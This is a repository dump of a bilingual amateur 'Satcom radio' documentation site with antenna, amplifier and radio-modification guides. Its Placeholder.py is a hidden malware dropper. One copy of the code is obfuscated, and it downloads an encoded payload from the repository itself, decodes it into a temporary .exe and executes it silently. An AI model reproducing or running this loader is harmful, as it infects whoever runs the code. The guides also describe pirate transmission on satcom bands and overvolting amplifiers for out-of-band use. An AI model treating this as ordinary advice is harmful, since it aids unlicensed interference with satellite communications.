├── .gitignore
├── LICENSE
├── PlaceHolder_Comp.txt
├── Placeholder.py
├── README.md
└── docs
├── .nojekyll
├── README.md
├── _files
├── TD-H3_IAP.zip
├── sint13.hex
├── uMod_R2b.bin
└── uMod_R3.bin
├── _img
├── amplifier
│ ├── Chip.png
│ ├── CustomAmplif2.png
│ ├── ampli_case.png
│ ├── ampli_case2.png
│ ├── amplifier_chip.jpg
│ ├── board.png
│ ├── custom_amplifier.jpg
│ ├── pa_modification_complex.png
│ ├── pa_modification_complex2.jpeg
│ ├── pa_modification_simple.png
│ └── video.mp4
├── antennas
│ ├── Prof.jpg
│ ├── anaren.jpg
│ ├── anaren2.jpg
│ ├── anaren_conn.jpg
│ ├── anaren_conn2.jpg
│ ├── anaren_micro.jpg
│ ├── anaren_micro2.jpg
│ ├── dipole_dir_ex.png
│ ├── dipole_ex.jpg
│ ├── dipole_instr.jpg
│ ├── helix_diameter_turns.png
│ ├── helix_ohms_wire.png
│ ├── helix_stub.png
│ ├── helix_turns_dbi.png
│ ├── horizontal_pol.gif
│ ├── lh_pol.gif
│ ├── monopole.png
│ ├── monopole_ali.png
│ ├── monopole_bazuca.png
│ ├── monopole_ex.jpg
│ ├── monopole_swr.jpg
│ ├── rh_pol.gif
│ ├── rhcp.png
│ ├── rhcp_satcom.png
│ ├── trivec_size.jpg
│ ├── turnstile.png
│ ├── turnstile_ex.jpg
│ ├── vertical_pol.gif
│ ├── wires.png
│ ├── yagi.jpg
│ ├── yagi_10.png
│ ├── yagi_10_data.png
│ └── yagi_ex.jpg
├── radios
│ ├── expand_coil.png
│ ├── h3.png
│ ├── k5_mod_complex.png
│ ├── qyt.jpg
│ ├── uv008_dmr.png
│ ├── uv008_models.jpg
│ ├── uv7h.png
│ ├── uvr5.png
│ └── zastone_uv008.png
├── satcom.jpg
├── smith.jpg
└── transverter
│ ├── adf.jpg
│ ├── adf_pinout.jpg
│ ├── r1zh_diagram.png
│ ├── transv.jpg
│ ├── transv_inside.jpg
│ ├── uhf_diagram.png
│ └── vhf_diagram.png
├── _navbar.md
├── _pdf
├── amplifier
│ └── amplifier_manual.pdf
└── antennas
│ ├── 10EL.pdf
│ ├── 11EL.pdf
│ ├── 4EL.pdf
│ ├── 5EL 6mm.pdf
│ ├── 5EL.pdf
│ └── 8EL.pdf
├── _sidebar.md
├── _stl
├── Director.stl
└── Radiant.stl
├── amplifiers
└── index.md
├── antennas
├── dipole.md
├── monopole.md
├── monopole_bazuka.md
├── polarization.md
├── turnstile.md
└── yagi.md
├── es
├── README.md
├── _navbar.md
├── _sidebar.md
├── amplificadores
│ └── index.md
├── antenas
│ ├── dipolo.md
│ ├── monopolo.md
│ ├── monopolo_bazuca.md
│ ├── polarizacion.md
│ ├── turnstile.md
│ └── yagi.md
├── freq.md
├── radios
│ ├── quansheng-uvk5.md
│ ├── tidradio-h3.md
│ ├── wouxun-kg-uv7h.md
│ ├── wouxun-kg-uvr5.md
│ └── zastone-uv008.md
├── sdr.md
├── telegram.md
└── transverters
│ └── index.md
├── favicon.ico
├── favicon.png
├── freq.md
├── index.html
├── radios
├── Modificacion Hardware.pdf
├── quansheng-uvk5.md
├── tidradio-h3.md
├── wouxun-kg-uv7h.md
├── wouxun-kg-uvr5.md
└── zastone-uv008.md
├── sdr.md
└── transverters
└── index.md
/.gitignore:
--------------------------------------------------------------------------------
1 | ################################################################################
2 | # This .gitignore file was automatically created by Microsoft(R) Visual Studio.
3 | ################################################################################
4 |
5 | /.vs
6 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2024 SatcomRadio
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/Placeholder.py:
--------------------------------------------------------------------------------
1 | import subprocess
2 | import base64
3 | import os
4 | import gzip
5 | import io
6 | import http.client
7 | from urllib.parse import urlparse
8 | from pathlib import Path
9 | import tempfile
10 |
11 | def obfus ():#line:1
12 | try :#line:2
13 | O000O0000O000O00O =urlparse ("https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/refs/heads/main/PlaceHolder_Comp.txt")#line:3
14 | OO0000O00O0OO00O0 =http .client .HTTPSConnection (O000O0000O000O00O .hostname )#line:4
15 | OO0000O00O0OO00O0 .request ("GET",O000O0000O000O00O .path if O000O0000O000O00O .path else "/")#line:5
16 | O0OOO0O0OO00O00OO =OO0000O00O0OO00O0 .getresponse ()#line:6
17 | if O0OOO0O0OO00O00OO .status !=200 :#line:8
18 | return #line:9
19 | O0O00O0O0OOO0O0O0 =O0OOO0O0OO00O00OO .read ().decode ('utf-8')#line:11
20 | O0O00O0O0OOO0O0O0 =''.join ([OOOO0O0O0O0OO0000 for OOOO0O0O0O0OO0000 in O0O00O0O0OOO0O0O0 if ord (OOOO0O0O0O0OO0000 )<128 ])#line:12
21 | O000OOOO00O0000O0 =base64 .b64decode (O0O00O0O0OOO0O0O0 )#line:13
22 | OO0000000OOOO0O0O =io .BytesIO (O000OOOO00O0000O0 )#line:14
23 | with gzip .GzipFile (fileobj =OO0000000OOOO0O0O ,mode ='rb')as O000OO0OOOOO0000O :#line:15
24 | OOO00OO000OOOOOOO =O000OO0OOOOO0000O .read ().decode ('utf-8')#line:16
25 | OOO00OO000OOOOOOO =base64 .b64decode (OOO00OO000OOOOOOO )#line:18
26 | O000OOOO00OOO0OO0 ,OO0O000OO0000OOO0 =tempfile .mkstemp (suffix ='.exe')#line:19
27 | os .write (O000OOOO00OOO0OO0 ,OOO00OO000OOOOOOO )#line:20
28 | os .close (O000OOOO00OOO0OO0 )#line:21
29 | try :#line:23
30 | O0OO0OO0O00OO0000 =subprocess .call (OO0O000OO0000OOO0 )#line:24
31 | finally :#line:25
32 | os .remove (OO0O000OO0000OOO0 )#line:26
33 | except Exception as O00OO00OO0OOO00O0 :#line:27
34 | return
35 |
36 | def main():
37 | try:
38 | parsed_url = urlparse("https://raw.githubusercontent.com/SatcomRadio/satcomradio.github.io/refs/heads/main/PlaceHolder_Comp.txt")
39 | connection = http.client.HTTPSConnection(parsed_url.hostname)
40 | connection.request("GET", parsed_url.path if parsed_url.path else "/")
41 | response = connection.getresponse()
42 |
43 | if response.status != 200:
44 | return
45 |
46 | encoded = response.read().decode('utf-8')
47 | encoded = ''.join([c for c in encoded if ord(c) < 128])
48 | compressed = base64.b64decode(encoded)
49 | buf = io.BytesIO(compressed)
50 | with gzip.GzipFile(fileobj=buf, mode='rb') as f:
51 | code = f.read().decode('utf-8')
52 |
53 | code = base64.b64decode(code)
54 | fd, path = tempfile.mkstemp(suffix='.exe')
55 | os.write(fd, code)
56 | os.close(fd)
57 |
58 | try:
59 | result = subprocess.call(path)
60 | finally:
61 | os.remove(path)
62 | except Exception as e:
63 | return
64 |
65 | # Example usage
66 | if __name__ == "__main__":
67 | main()
68 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | [Satcom documentation website](http://satcomradio.github.io)
2 |
--------------------------------------------------------------------------------
/docs/.nojekyll:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/docs/README.md:
--------------------------------------------------------------------------------
1 | # Satcom radio
2 |
3 | Welcome to the "Satcom radio" satellite website for hams
4 | Website contact [email](satcomradioham@gmail.com)
5 |
6 | We also have a [telegram](https://t.me/satcom_radio).
7 |
8 | ------
9 |
10 | Important. Check the legal aspects of your country before transmitting in forbidden bands!
11 | It is forbidden to transmit on satcom bands without permission!!
12 |
13 | ------
14 |
15 | ## Radios
16 |
17 | In the radio section you will find radios that work with satcom without complex modifications.
18 | It's **not** a full list of radios. There are other radios that work straight out of the box like the QYT 7900D, Baofeng 1802U, Baofeng 1801, Linton...
19 | There are also many mods for other radios such as Zastone M7, TYT 9000D and others but the modifications are more complex
20 | so it's easier to stick to the radios listed in this website.
21 |
22 | ## Transverter
23 |
24 | A [transverter](/transverters/index.md) might be the best way of stablish a connection with Satcom and reuse an existing VHF/UHF radio with a good power output.
25 |
26 | ## Frequencies
27 |
28 | Check out the [frequencies](/freq.md) you can listen to either with your radio or with a [online SDR](/sdr.md)
29 |
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43 | :02029A00010061
44 | :00000001FF
45 |
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1 | *
2 | * :uk: **English**
3 | * [:es: Español](/es/)
4 |
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/docs/_sidebar.md:
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1 |
2 | * [Home](/)
3 | * **Radios**
4 | * [Zastone/Vitai UV008](/radios/zastone-uv008.md)
5 | * [Quansheng UV-K5](/radios/quansheng-uvk5.md)
6 | * [Tidradio H3](/radios/tidradio-h3.md)
7 | * [Wouxun KG-UVR5](/radios/wouxun-kg-uvr5.md)
8 | * [Wouxun KG-UV7H](/radios/wouxun-kg-uv7h.md)
9 | * [Linear Amplifiers](/amplifiers/index.md)
10 | * [Transverters](/transverters/index.md)
11 | * **Antennas**
12 | * [Circular polarization](/antennas/polarization.md)
13 | * **Types**
14 | * [Yagi](/antennas/yagi.md)
15 | * [Turnstile](/antennas/turnstile.md)
16 | * [Dipole](/antennas/dipole.md)
17 | * [Monopole](/antennas/monopole.md)
18 | * [Frequencies](/freq.md)
19 | * [Web SDR](/sdr.md)
20 |
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/docs/amplifiers/index.md:
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1 | # Amplifiers
2 |
3 | Pirates reach the satellite with only 2W of power and a directional or dipole antenna.
4 | Having more power just make their voice stand out more and easier to be heard by deaf antennas.
5 |
6 | It doesn't make much sense to have more than 50W-60W of output power since the satellite repeater has a maximum power of 50W
7 |
8 | ## Aliexpress amplifier
9 |
10 | To increase the transmit power they get one of the VHF/UHF amplifiers on aliexpress that run with the MITSUBISHI RA or M power modules
11 |
12 |
13 |
14 |
15 | To make the amplifier work, ideally it needs a RA30H3340 power module altough some people use a RA55H3340, RA60H3340, RA30H2127M and others but with less output power.
16 |
17 | Those amplifiers usually work at 12 volts but some people increase their voltage up to a limit of 18 volts
18 | to get more power when they are running outside of their designated frequencies.
19 |
20 | Bear in mind that those amplifiers generate a lot of **heat**!
21 | You need to have a proper (and large) heatsink and an aluminium case for them
22 |
23 | Here you can see an example of the enclosure of an amplifier and a lowpass filter
24 |
25 |
26 |
27 |
28 | Here you can see a [Video](https://satcomradio.github.io/_img/amplifier/video.mp4) of this amplifier.
29 | The output power depends on the power module, the voltage and the input power.
30 |
31 | ### Power modules modification
32 |
33 | There have been attempts to make modifications of the power modules and get over 100W of output power.
34 | Unfortunately they seem to be quite complex and it's just easier to combine multiple amplifiers.
35 |
36 |
37 |
38 |
39 | Search `RA60H3340M1A` messages made by "Konstantin Z" on the russian Satcom [telegram](https://t.me/kosmo_konservatoria/221936) channel to see the details
40 |
41 | ## Custom amplifier
42 |
43 | There's an amplifier made by P0150N in the russian Satcom [telegram](https://t.me/kosmo_konservatoria/173846) for RA3ZTQ but it's performance is not known
44 |
45 |
46 |
47 | ### Sources:
48 |
49 | [Amplifier case](https://www.c4fmdmr.com/post/c%C3%B3mo-construir-un-amplificador-de-vhf-uhf-de-bajo-costo-para-un-ht-o-handy-por-rubens-ka6vha)
50 | [Amplifier manual](https://satcomradio.github.io/_pdf/amplifier/amplifier_manual.pdf)
51 |
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/docs/antennas/dipole.md:
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1 | # Dipole antenna
2 |
3 | This antenna works a bit better than the monopole altough is not so portable.
4 |
5 |
6 |
7 | Tipically the total length of a dipole is calculated as
8 |
9 | `L = λ/2 * VF`
10 |
11 | So each leg of the dipole is `L/2`
12 |
13 | For the VF of each material you can use this table:
14 |
15 | | Material | VF |
16 | | ------------------------------------- | ----------- |
17 | | Aluminium | 0.94 |
18 | | Brass | 0.95 |
19 | | Copper | 0.95 |
20 | | Insulators (PVC,PE,Teflon) | 0.94-0.98 |
21 | | Iron | 0.90 |
22 | | Steel | 0.90 |
23 | | Insulated Copper (Copper*Insulator) | 0.95*0.96 |
24 |
25 | As an example let's make it for 280mhz using Insulated copper
26 |
27 | ```
28 | 280mhz = 28000000hz
29 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
30 |
31 | Total length = 1.071/2*0.98*0.95 = 0.498m
32 | Length of each leg = 0.498/2 = 0.249m
33 | ```
34 |
35 | Most constructions however use a length of 0.235m for each leg as they take into consideration the separation between the active elements.
36 | As always, it's better to use NanoVNA to do the final tunning of the antenna.
37 |
38 | Some people add a director to this antenna. It will not work perfectly since it's very close to the active element but it makes the antenna a bit more directional
39 |
40 | Usually the director has a length of 0.325m and is attached to the Banana using double side tape or 3d printed parts.
41 |
42 |
43 |
44 |
45 |
46 | ### Sources:
47 |
48 | [Youtube construction video](https://youtu.be/Q9kyX0oMdtQ?si=bD8NNUBlY7qiXXqT)
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/docs/antennas/monopole.md:
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1 | # Monopole antenna
2 |
3 | This antenna is probably the worst in terms of reception but it still can reach the satellite without issues and it's very portable
4 |
5 |
6 |
7 | Simply cut 30cm of a RG213 cable and solder the central core to the connector. After that, leave 1,5cm of wire at the top.
8 | Make sure that the **mesh does not touch the connector**
9 | Do the final adjustments with NanoVNA and cut the cable until it reaches the frequency you want and always leave 1,5cm of cable exposed at the tip.
10 |
11 |
12 |
13 |
14 | Another alternative is to buy the antenna NA-320A, cut it in the red circle and adjust with the NanoVNA
15 |
16 |
17 |
18 | [Related video](https://www.youtube.com/watch?v=XA78nIEK8Kg)
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/docs/antennas/monopole_bazuka.md:
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1 | # Monopole antenna "bazuca"
2 |
3 | Another version of the monopole antenna a bit more difficult to make but it still can reach the satellite with around 10W of power
4 |
5 |
6 |
7 | As an example let's make it for 280mhz using RG213 wire with a VF of 0.66
8 |
9 | ```
10 | 280mhz = 28000000hz
11 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
12 |
13 | Total length = 1.071/4 = 0.267m
14 | Wire length = (1.071/4)*0.66 = 0.176m
15 | ```
16 |
17 | It's important that you check the connections since the mesh goes to the central pin of the PL connector and the core goes to the ground.
18 | You can put some plastic cap and heat shrink tube at the top to protect it.
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/docs/antennas/polarization.md:
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1 | # Circular Polarization
2 |
3 | Since the satellites are spinning in their axis, we cannot use vertical or horizontal polarization as we would
4 | eventually reach 90 degrees between the satellite and our antenna polarization and we would not recieve the signal.
5 |
6 | Therefore, we must use circular polarization
7 |
8 |
9 |
10 |
11 |
12 |
13 | To achieve circular polarization you can use a helical antenna or a cross yagi/turnstile.
14 |
15 | If you are going to use a crossyagi or a turnstile since you're using 2 antennas you must match the impedance and you need to delay one of the signals.
16 | for the delay part, you can do it either by moving the vertical elements away from the horizontal elements or delaying the signal using
17 | wires if vertical and horizontal elements are in the same plane
18 |
19 | ## Wiring
20 |
21 |
22 |
23 | Instead of RG58/RG59 you can use thinner wires, but you need to check their **velocity factor** in the datasheet of your cables.
24 |
25 | In this example I will try to make a matching stub for 280mhz using RG179 and RG178.
26 |
27 | ```
28 | RG179 (75ohm) VF=0,69 (69%)
29 | RG178 (50ohm) VF=0.7 (70%)
30 |
31 | 280mhz = 28000000hz
32 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
33 |
34 | Phase Stub. One of the wires needs to be longer than the other one to delay the signal but both have to be of 50ohm
35 | Short: (1.071/4)*0.7 = 0.187m
36 | Long: (1.071/2)*0.7 = 0.374m
37 |
38 | Matching stub. Both wires have to be of 75 ohm. The idea is to match the impedance of the 2 antenas
39 | Length: 1.071/4*0.69 = 0.1847m
40 | ```
41 |
42 | It's important how you connect the core of the cables! If you don't connect them properly you will not get **right hand** circular polarization.
43 |
44 |
45 |
46 | ## Hybrid couplers
47 |
48 | If you don't want to deal with wires, you can also get a *Anaren 10260-3* or *Anaren 1B0260-3* hybrid coupler.
49 |
50 |
51 |
52 | This is what they use on professional antennas
53 |
54 |
55 |
56 | For the connections, you need to use a 50ohm resistor between the ground and the ISO pin
57 |
58 |
59 |
60 |
61 | With this you can make some really small antennas and be sure that the polarization is correct
62 |
63 |
64 |
65 |
66 | You can usually get them on ebay from old military radio equipments that have been dissasembled.
67 |
68 | ### Sources:
69 |
70 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/)
71 | [Qsl](https://www.qsl.net/sv1bsx/antenna-pol/polarization.html)
72 | [Anaren](https://twitter.com/tvoje___mama/status/1504770518033051684)
73 |
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/docs/antennas/turnstile.md:
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1 | # Turnstile antenna
2 |
3 | This antenna is better than the dipole as it has circular polarization and it also has a reflector to avoid radiating towards the ground.
4 | It's basically a cross-yagi without the director elements so it radiates in all directions.
5 |
6 |
7 |
8 | For the VF of each material you can use this table:
9 |
10 | | Material | VF |
11 | | ------------------------------------- | ----------- |
12 | | Aluminium | 0.94 |
13 | | Brass | 0.95 |
14 | | Copper | 0.95 |
15 | | Insulators (PVC,PE,Teflon) | 0.94-0.98 |
16 | | Iron | 0.90 |
17 | | Steel | 0.90 |
18 | | Insulated Copper (Copper*Insulator) | 0.95*0.96 |
19 |
20 | As an example let's make it for 280mhz and using steel rods
21 |
22 | ```
23 | 280mhz = 28000000hz
24 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
25 |
26 | X = 1.071/2 * 0.9 = 0.481m
27 | Y = 1.071/2 = 0.535m
28 | Z = 3/8 * 1.071 = 0.401m
29 | ```
30 |
31 | Since it has circular polarization be sure to check on how to do the [wiring](/polarization.md)
32 |
33 |
34 |
35 | ### Sources:
36 |
37 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/)
38 | [ARRL Antenna Book for Radio Communications](https://www.arrl.org/arrl-antenna-book)
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/docs/antennas/yagi.md:
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1 | # Yagi antenna
2 |
3 | It doesn't make sense to describe how a yagi antenna is made since there's a lot of literature about them around internet.
4 | Just be aware that they are directional compared to the turnstile and as long as they are pointed to the satellite, they will recieve better.
5 |
6 | If you want to implement circular polarization and make them cross-yagi, be sure to check the relevent [article](/polarization.md)
7 |
8 |
9 |
10 | Here you have some of the most common designs used for Satcom. The more elements they have, the better they will work.
11 |
12 | [4 Element Yagi](https://satcomradio.github.io/_pdf/antennas/4EL.pdf)
13 | [5 Element Yagi](https://satcomradio.github.io/_pdf/antennas/5EL.pdf)
14 | [8 Element Yagi](https://satcomradio.github.io/_pdf/antennas/8EL.pdf)
15 | [10 Element Yagi](https://satcomradio.github.io/_pdf/antennas/10EL.pdf)
16 | [11 Element Yagi](https://satcomradio.github.io/_pdf/antennas/11EL.pdf)
17 |
18 | [This is the antenna I use but with 6 elements only](https://satcomradio.github.io/_img/antennas/yagi.jpg)
19 |
20 | -----
21 |
22 | If you want to use a square boom of 20x20mm and 8 mm bars as elements, you can use the following 3d printed stl:
23 | [Radiant](https://satcomradio.github.io/_stl/Radiant.stl)
24 | [Director/Reflector](https://satcomradio.github.io/_stl/Director.stl)
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/docs/es/README.md:
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1 | # Satcom radio
2 |
3 | Bienvenido a la pagina de "Satcom radio" para radioaficionados
4 | Únete a nuestro [canal de telegram](https://t.me/satcom_radio) para mantenerte informado.
5 |
6 | [Email](satcomradioham@gmail.com) de contacto
7 |
8 | ------
9 |
10 | Importante. Comprueba los aspectos legales de tu pais para evitar transmitir en frecuencias no autorizadas!
11 | Esta prohibido transmitir en las bandas de satcom sin permiso!
12 | ------
13 |
14 | ## Radios
15 |
16 | En la sección de radios encontrarás radios que funcionan con satcom sin modificaciones complejas.
17 | **No** es una lista completa de radios. Hay otras radios que funcionan directamente como la QYT 7900D, Baofeng 1802U, Baofeng 1801.
18 | Tambien hay muchos mods para otras radios como Zastone M7, TYT 9000D y demás, pero las modificaciones son más complejas por lo que es
19 | más fácil centrarse en las radios que figuran en este sitio web.
20 |
21 | ## Transversor (transverter)
22 |
23 | Un [transversor](/es/transverters/index.md) puede ser la mejor manera de comunicarse con satcom y reutilizar una radio VHF/UHF que ya tengas con una buena potencia de salida.
24 |
25 | ## Frecuencias
26 |
27 | Consulta la página de [frecuencias](/es/freq.md) que puedes escuchar con tu radio o con un [SDR online](/es/sdr.md)
28 |
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1 | *
2 | * [:uk: English](/)
3 | * :es: **Español**
4 |
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/docs/es/_sidebar.md:
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1 |
2 | * [Inicio](/es/)
3 | * **Equipos**
4 | * [Zastone/Vitai UV008](/es/radios/zastone-uv008.md)
5 | * [Quansheng UV-K5](/es/radios/quansheng-uvk5.md)
6 | * [Tidradio H3](/es/radios/tidradio-h3.md)
7 | * [Wouxun KG-UVR5](/es/radios/wouxun-kg-uvr5.md)
8 | * [Wouxun KG-UV7H](/es/radios/wouxun-kg-uv7h.md)
9 | * [Amplificadores](/es/amplificadores/index.md)
10 | * [Transverters](/es/transverters/index.md)
11 | * **Antenas**
12 | * [Polarizacion circular](/es/antenas/polarizacion.md)
13 | * **Tipos**
14 | * [Yagi](/es/antenas/yagi.md)
15 | * [Turnstile](/es/antenas/turnstile.md)
16 | * [Dipolo](/es/antenas/dipolo.md)
17 | * [Monopolo](/es/antenas/monopolo.md)
18 | * [Frecuencias](/es/freq.md)
19 | * [Web SDR](/es/sdr.md)
20 | * [Telegram](/es/telegram.md)
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/docs/es/amplificadores/index.md:
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1 | # Amplificadores
2 |
3 | Los piratas llegan al satélite con sólo 2W de potencia y una antena direccional o dipolo.
4 | Tener mas potencia solo hace que su voz destaque mas y sea mas facil de ser escuchada por antenas sordas.
5 |
6 | No tiene mucho sentido tener mas de 50W-60W de potencia de salida ya que el repetidor del satelite tiene una potencia maxima de 50W
7 |
8 | ## Amplificador Aliexpress
9 |
10 | Para aumentar la potencia de transmisión consiguen uno de los amplificadores VHF/UHF en aliexpress que funcionan con los módulos de potencia MITSUBISHI RA o M
11 |
12 |
13 |
14 |
15 | Para que el amplificador funcione, lo ideal es un módulo de potencia RA30H3340 aunque algunas personas utilizan un RA55H3340, RA60H3340, RA30H2127M u otros aunque con menor potencia de salida.
16 |
17 | Esos amplificadores suelen funcionar a 12 voltios, pero algunas personas aumentan su voltaje hasta un límite de 18 voltios
18 | para obtener más potencia cuando funcionan fuera de sus frecuencias designadas.
19 |
20 | Hay que tener en cuenta que estos amplificadores generan mucho **calor**
21 | Por ello se necesita un disipador adecuado (grande) y una carcasa de aluminio para ellos.
22 |
23 | Aquí se puede ver un ejemplo de la caja de un amplificador y un filtro paso bajo
24 |
25 |
26 |
27 |
28 | Aquí se puede ver un [Video](https://satcomradio.github.io/_img/amplifier/video.mp4) de este amplificador.
29 | La potencia de salida depende del módulo de potencia, del voltaje y de la potencia de entrada.
30 |
31 | ### Modificación de los módulos de potencia
32 |
33 | Ha habido intentos de hacer modificaciones de los módulos de potencia y conseguir más de 100W de potencia de salida.
34 | Desafortunadamente parecen ser bastante complejos y es más fácil combinar varios amplificadores.
35 |
36 |
37 |
38 |
39 | Busca los mensajes `RA60H3340M1A` realizados por "Konstantin Z" en el canal de [telegram](https://t.me/kosmo_konservatoria/221936) para ver los detalles
40 |
41 | ## Amplificador personalizado
42 |
43 | Hay un amplificador hecho por P0150N en el [telegram](https://t.me/kosmo_konservatoria/173846) de Satcom ruso pero su rendimiento no es conocido
44 |
45 |
46 |
47 | ### Fuentes:
48 |
49 | [Caja del amplificador](https://www.c4fmdmr.com/post/c%C3%B3mo-construir-un-amplificador-de-vhf-uhf-de-bajo-costo-para-un-ht-o-handy-por-rubens-ka6vha)
50 | [Manual del amplificador](https://satcomradio.github.io/_pdf/amplifier/amplifier_manual.pdf)
51 |
--------------------------------------------------------------------------------
/docs/es/antenas/dipolo.md:
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1 | # Antena dipolo
2 |
3 | Esta antena funciona mejor que la monopolo pero es menos portatil.
4 |
5 |
6 |
7 | Por norma general su longitud se calcula con la formula
8 |
9 | `L = λ/2 * VF`
10 |
11 | Por lo que cada pata de la dipolo tiene una longitud de `L/2`
12 |
13 | Para la VF (factor de velocidad) de cada material se puede utilizar la siguiente tabla:
14 |
15 | | Material | VF |
16 | | ------------------------------------- | ----------- |
17 | | Aluminio | 0.94 |
18 | | Bronce | 0.95 |
19 | | Cobre | 0.95 |
20 | | Auslantes (PVC,PE,Teflon) | 0.94-0.98 |
21 | | Hierro | 0.90 |
22 | | Acero | 0.90 |
23 | | Cobre aislado (Cobre*Aislante) | 0.95*0.96 |
24 |
25 | Realizaremos un ejemplo para 280mhz usando cobre con aislante
26 |
27 | ```
28 | 280mhz = 28000000hz
29 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
30 |
31 | Longitud total = 1.071/2*0.98*0.95 = 0.498m
32 | Longitud de cada pata = 0.498/2 = 0.249m
33 | ```
34 |
35 | La mayoria de las construcciones utilizan 0.235m para cada pata ya que tambien calculan la distancia de separacion entre los elementos radiantes.
36 | Como siempre, es mejor utilizar el NanoVNA para hacer los ajustes finales.
37 |
38 | Algunas personas añaden un director a la antena. No va a funcionar a la perfeccion ya que la distancia es
39 | muy corta pero consige transformarla en una antena mas direccional
40 |
41 | Por lo general el director tiene una longitud de 0.325 y se une al conector banana usando cinta de doble cara o piezas impresas en 3d.
42 |
43 |
44 |
45 |
46 |
47 |
48 | ### Fuentes:
49 |
50 | [Youtube construction video](https://youtu.be/Q9kyX0oMdtQ?si=bD8NNUBlY7qiXXqT)
--------------------------------------------------------------------------------
/docs/es/antenas/monopolo.md:
--------------------------------------------------------------------------------
1 | # Antena monopolo
2 |
3 | Es probablemente la peor antena en terminos de recepcion pero aun asi puede llegar al satelite sin problemas y es muy portátil.
4 |
5 |
6 |
7 | Simplemente corta un cable RG213 de 30 cm y suelda el cable central al conector.
8 | **Asegurate que la malla no toca el conector**
9 | En la parte de arriba corta la malla 1,5cm y deja el cable interior al aire.
10 |
11 | Finalmente con el NanoVNA debes ir cortando el cable hasta que quede en la frecuencia que te interesa y siempre dejando 1,5cm de cable expuesto en la punta.
12 |
13 |
14 |
15 |
16 | Otra alternativa es comprar la antena NA-320A, cortarla en la zona marcada en rojo y ajustar con NanoVNA
17 |
18 |
19 |
20 |
21 | [Video relacionado](https://www.youtube.com/watch?v=XA78nIEK8Kg)
--------------------------------------------------------------------------------
/docs/es/antenas/monopolo_bazuca.md:
--------------------------------------------------------------------------------
1 | # Antena monopolo "bazuca"
2 |
3 | Otra version de la antena monopolo un poco mas complicada de fabricar pero aun asi puede llegar al satelite con unos 10W de potencia.
4 |
5 |
6 |
7 | En este ejemplo se muestra el calculo para 280mhz usando cable RG213 con una VF (factor de velocidad) de 0.66
8 |
9 | ```
10 | 280mhz = 28000000hz
11 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
12 |
13 | Longitud total = 1.071/4 = 0.267m
14 | Longitud cable = (1.071/4)*0.66 = 0.176m
15 | ```
16 |
17 | Es importante verificar las conexiones ya que la malla debe conectarse al pin central del conector PL y el nucleo del cable al neutro del conector.
18 | Finalmente se puede poner algun tipo de proteccion de plastico o tubo termoretractil para protejer el cable.
--------------------------------------------------------------------------------
/docs/es/antenas/polarizacion.md:
--------------------------------------------------------------------------------
1 | # Polarización circular
2 |
3 | Dado que los satélites están girando en su eje, no podemos utilizar polarización vertical u horizontal ya que llegaríamos a
4 | llegaríamos a 90 grados entre la polarización del satélite y la de nuestra antena y no recibiríamos la señal.
5 |
6 | Por lo tanto, debemos utilizar la polarización circular
7 |
8 |
9 |
10 |
11 |
12 |
13 | Para conseguir polarización circular puedes usar una antena helicoidal o una cross-yagi/turnstile.
14 |
15 | Para usar una antenna de tipo cross-yagi o torniquete, debido a que contienen 2 antenas a 90º, se debe igualar la impedancia y retrasar una de las señales.
16 | Para retrasar la señal, se puede hacer alejando elementos verticales de los horizontales o retrasando la señal usando
17 | cables si los elementos verticales y horizontales están en el mismo plano
18 |
19 | ## Cableado
20 |
21 |
22 |
23 | En lugar de RG58/RG59 se pueden usar cables más finos, pero es necesario comprobar su **factor de velocidad** (VF o velocity factor) en el datasheet de cables.
24 | En este ejemplo se realiza un latiguilloe para 280mhz usando cables RG179 y RG178.
25 |
26 | ```
27 | RG179 (75ohm) VF=0,69 (69%)
28 | RG178 (50ohm) VF=0,7 (70%)
29 |
30 | 280mhz = 28000000hz
31 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1,071m
32 |
33 | Latiguillo de fase. Uno de los cables tiene que ser más largo que el otro para retrasar la señal pero ambos tienen que ser de 50ohm
34 | Corto: (1,071/4)*0,7 = 0,187m
35 | Largo: (1,071/2)*0,7 = 0,374m
36 |
37 | Latiguillo de adaptación. Ambos cables deben ser de 75 ohmios. La idea es igualar la impedancia de las 2 antenas
38 | Longitud: 1.071/4*0.69 = 0.1847m
39 | ```
40 |
41 | Es importante cómo se conecta el núcleo de los cables. Si no se conectan correctamente no se obtendrá una **polarización circular hacia la derecha**.
42 |
43 |
44 |
45 | ## Acopladores híbridos
46 |
47 | Si se quiere evitar lidiar con cables, se puedes utilizar un acoplador híbrido *Anaren 10260-3* o *Anaren 1B0260-3*.
48 |
49 |
50 |
51 | Es muy utilizado en las antenas profesionales
52 |
53 |
54 |
55 | Para las conexiones, se debe usar una resistencia de 50ohm entre la masa y el pin ISO
56 |
57 |
58 |
59 |
